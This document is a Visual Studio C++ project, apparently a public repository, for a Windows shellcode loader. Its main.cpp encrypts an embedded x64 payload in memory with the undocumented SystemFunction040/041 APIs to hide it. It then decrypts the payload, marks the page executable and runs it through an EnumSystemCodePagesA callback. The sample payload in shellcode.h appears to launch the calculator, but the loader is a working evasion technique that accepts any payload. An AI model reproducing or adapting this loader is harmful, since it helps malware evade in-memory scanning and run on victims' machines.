├── README.md ├── SystemFunction040 ├── helpers.h ├── nttypedefs.h ├── shellcode.h ├── SystemFunction040.vcxproj.filters ├── main.cpp └── SystemFunction040.vcxproj └── SystemFunction040.sln /README.md: -------------------------------------------------------------------------------- 1 | # SystemFunction040 2 | Using the SystemFunction040 API to encrypt shellcode in memory and decrypt 3 | -------------------------------------------------------------------------------- /SystemFunction040/helpers.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | FARPROC GetNtApiAddress(const char *NTApiName) { 6 | 7 | HMODULE module = NULL; 8 | FARPROC address = NULL; 9 | 10 | module = GetModuleHandle(_T("ntdll.dll")); 11 | if (module == NULL) { 12 | return NULL; 13 | } 14 | 15 | address = GetProcAddress(module, NTApiName); 16 | if (address == NULL) { 17 | return NULL; 18 | } 19 | 20 | return address; 21 | } -------------------------------------------------------------------------------- /SystemFunction040/nttypedefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #define RTL_ENCRYPT_MEMORY_SIZE 8 5 | 6 | // https://doxygen.reactos.org/d3/dad/ksecdd_8h.html 7 | // https://doxygen.reactos.org/d3/dad/ksecdd_8h_source.html 8 | enum OptionFlags { 9 | RTL_ENCRYPT_OPTION_SAME_PROCESS = 0, 10 | RTL_ENCRYPT_OPTION_CROSS_PROCESS = 1, 11 | RTL_ENCRYPT_OPTION_SAME_LOGON = 2 12 | }; 13 | 14 | // SystemFunction040 = RtlEncryptMemory 15 | // https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtlencryptmemory 16 | // Below taken from https://source.winehq.org/WineAPI/SystemFunction040.html 17 | typedef NTSTATUS(NTAPI* t_SystemFunction040) 18 | ( 19 | PVOID memory, 20 | ULONG length, 21 | ULONG flags 22 | ); 23 | 24 | // https://source.winehq.org/WineAPI/advapi32.html 25 | // https://source.winehq.org/WineAPI/SystemFunction041.html 26 | // https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtldecryptmemory 27 | typedef NTSTATUS(NTAPI* t_SystemFunction041) 28 | ( 29 | PVOID memory, 30 | ULONG length, 31 | ULONG flags 32 | ); 33 | 34 | -------------------------------------------------------------------------------- /SystemFunction040/shellcode.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // 2 * \x90 appended at the end since the shellcode needs to be divisible by 8 4 | // required for RtlEncryptMemory & RtlDecryptMemory to work 5 | // https://github.com/boku7/x64win-DynamicNoNull-WinExec-PopCalc-Shellcode/blob/main/win-x64-DynamicKernelWinExecCalc.asm 6 | unsigned char payload[] = 7 | "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" 8 | "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" 9 | "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" 10 | "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" 11 | "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" 12 | "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" 13 | "\x48\x83\xec\x20\x41\xff\xd6\x90\x90"; 14 | 15 | //#define PAYLOAD_LEN sizeof(payload); -------------------------------------------------------------------------------- /SystemFunction040/SystemFunction040.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | -------------------------------------------------------------------------------- /SystemFunction040.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33122.133 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SystemFunction040", "SystemFunction040\SystemFunction040.vcxproj", "{6FED0BFD-EF81-46BB-A70F-AC5371CE2411}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {6FED0BFD-EF81-46BB-A70F-AC5371CE2411}.Debug|x64.ActiveCfg = Debug|x64 17 | {6FED0BFD-EF81-46BB-A70F-AC5371CE2411}.Debug|x64.Build.0 = Debug|x64 18 | {6FED0BFD-EF81-46BB-A70F-AC5371CE2411}.Debug|x86.ActiveCfg = Debug|Win32 19 | {6FED0BFD-EF81-46BB-A70F-AC5371CE2411}.Debug|x86.Build.0 = Debug|Win32 20 | {6FED0BFD-EF81-46BB-A70F-AC5371CE2411}.Release|x64.ActiveCfg = Release|x64 21 | {6FED0BFD-EF81-46BB-A70F-AC5371CE2411}.Release|x64.Build.0 = Release|x64 22 | {6FED0BFD-EF81-46BB-A70F-AC5371CE2411}.Release|x86.ActiveCfg = Release|Win32 23 | {6FED0BFD-EF81-46BB-A70F-AC5371CE2411}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {7E14AB2D-6D5C-4482-931D-56853A29EC38} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SystemFunction040/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "ntstatus.h" 5 | #include "nttypedefs.h" 6 | #include "helpers.h" 7 | 8 | #include "shellcode.h" 9 | 10 | #pragma comment(lib, "Advapi32.lib") 11 | 12 | #define strSystemFunction040 "SystemFunction040" 13 | #define strSystemFunction041 "SystemFunction041" 14 | 15 | void push(unsigned char arr[], int index, unsigned char n); 16 | 17 | t_SystemFunction040 SystemFunction040 = NULL; 18 | t_SystemFunction041 SystemFunction041 = NULL; 19 | 20 | ULONG payload_len = sizeof(payload); 21 | unsigned char nop = (unsigned char)"\x90"; 22 | 23 | int main(void) { 24 | 25 | NTSTATUS status = NULL; 26 | 27 | HMODULE advapi32 = LoadLibraryW(_T("advapi32.dll")); 28 | 29 | SystemFunction040 = (t_SystemFunction040)GetProcAddress(advapi32, strSystemFunction040); 30 | SystemFunction041 = (t_SystemFunction041)GetProcAddress(advapi32, strSystemFunction041); 31 | if (SystemFunction040 == NULL || SystemFunction041 == NULL) { 32 | printf("Function not found\n"); 33 | return -ENOSYS; 34 | } 35 | else { 36 | 37 | printf("%s Found ( %p )\n", strSystemFunction040, SystemFunction040); 38 | printf("%s Found ( %p )\n", strSystemFunction041, SystemFunction041); 39 | } 40 | 41 | PVOID ptr = VirtualAlloc(NULL, 0x1000, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE); 42 | printf("Memory ( %p )\n", ptr); 43 | 44 | printf("Payload size initially ( %zd )\n", sizeof(payload)); 45 | 46 | 47 | if (payload_len % RTL_ENCRYPT_MEMORY_SIZE == 0) { 48 | printf("++ Payload divisible by 8\n"); 49 | } 50 | else { 51 | printf("-- Payload not divisible by 8\n"); 52 | } 53 | 54 | /* 55 | For the love of me I couldnt figure out how to dynamically fix the length of 56 | the shellcode. That would definitely be most suited for this case scenario where you have a specific 57 | shellcode and you can fix the length. Since the Shellcode lenth must be divisible by 8 (RTL_ENCRYPT_MEMORY_SIZE = 8) 58 | 59 | The below commented code does add 2 bytes at the end of the shellcode above however its only for the loop and doesnt actually update 60 | the shellcode with the 2 new bytes ;(. 61 | */ 62 | 63 | /* 64 | while (TRUE) 65 | { 66 | printf("Payload size ( %ld )\n", payload_len); 67 | 68 | if (payload_len % RTL_ENCRYPT_MEMORY_SIZE == 0) { 69 | printf("++ Payload divisible by 8\n"); 70 | break; 71 | } 72 | 73 | // https://stackoverflow.com/questions/755835/how-to-add-element-to-c-array 74 | push(payload, payload_len, nop); 75 | payload_len++; 76 | 77 | } 78 | 79 | for (ULONG i = 0; i < payload_len; i++) { 80 | 81 | if (i % 16 == 0) { 82 | printf("\n"); 83 | } 84 | 85 | printf("\\x%02x", payload[i]); 86 | 87 | } 88 | printf("\n"); 89 | 90 | //printf("Payload size now ( %zd )\n", sizeof(payload)); 91 | getchar(); 92 | */ 93 | 94 | 95 | memmove(ptr, payload, sizeof(payload)); 96 | getchar(); 97 | 98 | status = SystemFunction040(ptr, payload_len, RTL_ENCRYPT_OPTION_SAME_LOGON); 99 | if (status != STATUS_SUCCESS) { 100 | printf("-- Failed encrypting memory\n\t Error(%d)\n", GetLastError()); 101 | FreeLibrary(advapi32); 102 | return -EXIT_FAILURE; 103 | } 104 | else { 105 | printf("++ Success encrypting memory\n"); 106 | } 107 | 108 | getchar(); 109 | 110 | DWORD oldProtect = 0; 111 | 112 | getchar(); 113 | 114 | status = SystemFunction041(ptr, payload_len, RTL_ENCRYPT_OPTION_SAME_LOGON); 115 | if (status != STATUS_SUCCESS) { 116 | printf("-- Failed decrypting memory\n\t Error(%d)\n", GetLastError()); 117 | FreeLibrary(advapi32); 118 | return -EXIT_FAILURE; 119 | } 120 | else { 121 | printf("++ Success decrypting memory\n"); 122 | } 123 | 124 | FreeLibrary(advapi32); 125 | 126 | VirtualProtect(ptr, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect); 127 | 128 | EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)ptr, 0); 129 | return 0; 130 | 131 | 132 | } 133 | 134 | void push(unsigned char arr[], int index, unsigned char n) { 135 | arr[index] = n; 136 | index++; 137 | } -------------------------------------------------------------------------------- /SystemFunction040/SystemFunction040.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {6fed0bfd-ef81-46bb-a70f-ac5371ce2411} 25 | SystemFunction040 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | 122 | 123 | Console 124 | true 125 | true 126 | true 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | --------------------------------------------------------------------------------